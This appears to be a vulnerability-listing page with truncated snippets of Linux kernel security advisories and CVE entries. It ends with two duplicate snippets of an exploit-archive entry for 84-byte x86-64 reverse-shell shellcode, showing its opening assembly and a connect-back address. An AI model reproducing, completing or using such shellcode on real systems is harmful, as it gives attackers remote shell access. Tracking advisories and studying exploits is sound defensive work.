Unity Linux 20.1050e / 20.1070e Security Update: kernel (UTSA-2026-011383)

"The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-011383 advisory. In the Linux kernel, the following vulnerability has been resolved: afunix: Fix garbage collector racing against connect Garbage collector does not take into accoun...

CVE-2025-39950

CVE-2025-39950 pertains to the Linux kernel: a NULL pointer dereference can occur in net/tcp when TCP-AO is used with TCP_REPAIR during connect(), due to dereferencing skb without null-check in tcp_ao_finish_connect(). The vulnerability affects code paths where a TCP-AO key is present and TCP_REP...

DEBIAN-CVE-2022-49979

In the Linux kernel, the following vulnerability has been resolved: net: fix refcount bug in skpsockget 2 Syzkaller reports refcount bug as follows: ------------ cut here ------------ refcountt: saturated; leaking memory. WARNING: CPU: 1 PID: 3605 at lib/refcount.c:19...

PT-2025-16924 · Google · Kernel

Name of the Vulnerable Software and Affected Versions: ChromeOS Kernel versions prior to 6.1 ChromeOS Kernel version 5.4 Description: A race condition Use-After-Free vulnerability exists in the virtio transport space update function. Concurrent allocation and freeing of the virtio vsock sock...

PT-2025-25905 · Linux +1 · Linux Kernel +1

Name of the Vulnerable Software and Affected Versions: Linux kernel versions prior to 5.18.0 Description: A refcount bug in the Linux kernel has been resolved. The issue occurs during the SMC fallback process in the connect syscall, where the kernel replaces TCP with SMC and sets the clcsk-sk use...

Linux/x86-64 - Reverse Shell Shellcode (84 bytes)

/ Title: Linux/x86-64 - Reverse TCP shellcode - 84 bytes Author: Manuel Mancera @sinkmanu Tested on: 3.16.0-4-amd64 1 SMP Debian 3.16.39-1 2016-12-30 x8664 GNU/Linux ----------------- Assembly code ------------------- section .text global start start: push 0x2d01a8c0 ; Address 192.168.1.45 push...

Linux/x86-64 - Reverse Shell Shellcode (84 bytes)

Linux/x86-64 - Reverse Shell Shellcode 84 bytes. Shellcode exploit for Linux platform / Title: Linux/x86-64 - Reverse TCP shellcode - 84 bytes Author: Manuel Mancera @sinkmanu Tested on: 3.16.0-4-amd64 1 SMP Debian 3.16.39-1 2016-12-30 x8664 GNU/Linux ----------------- Assembly code...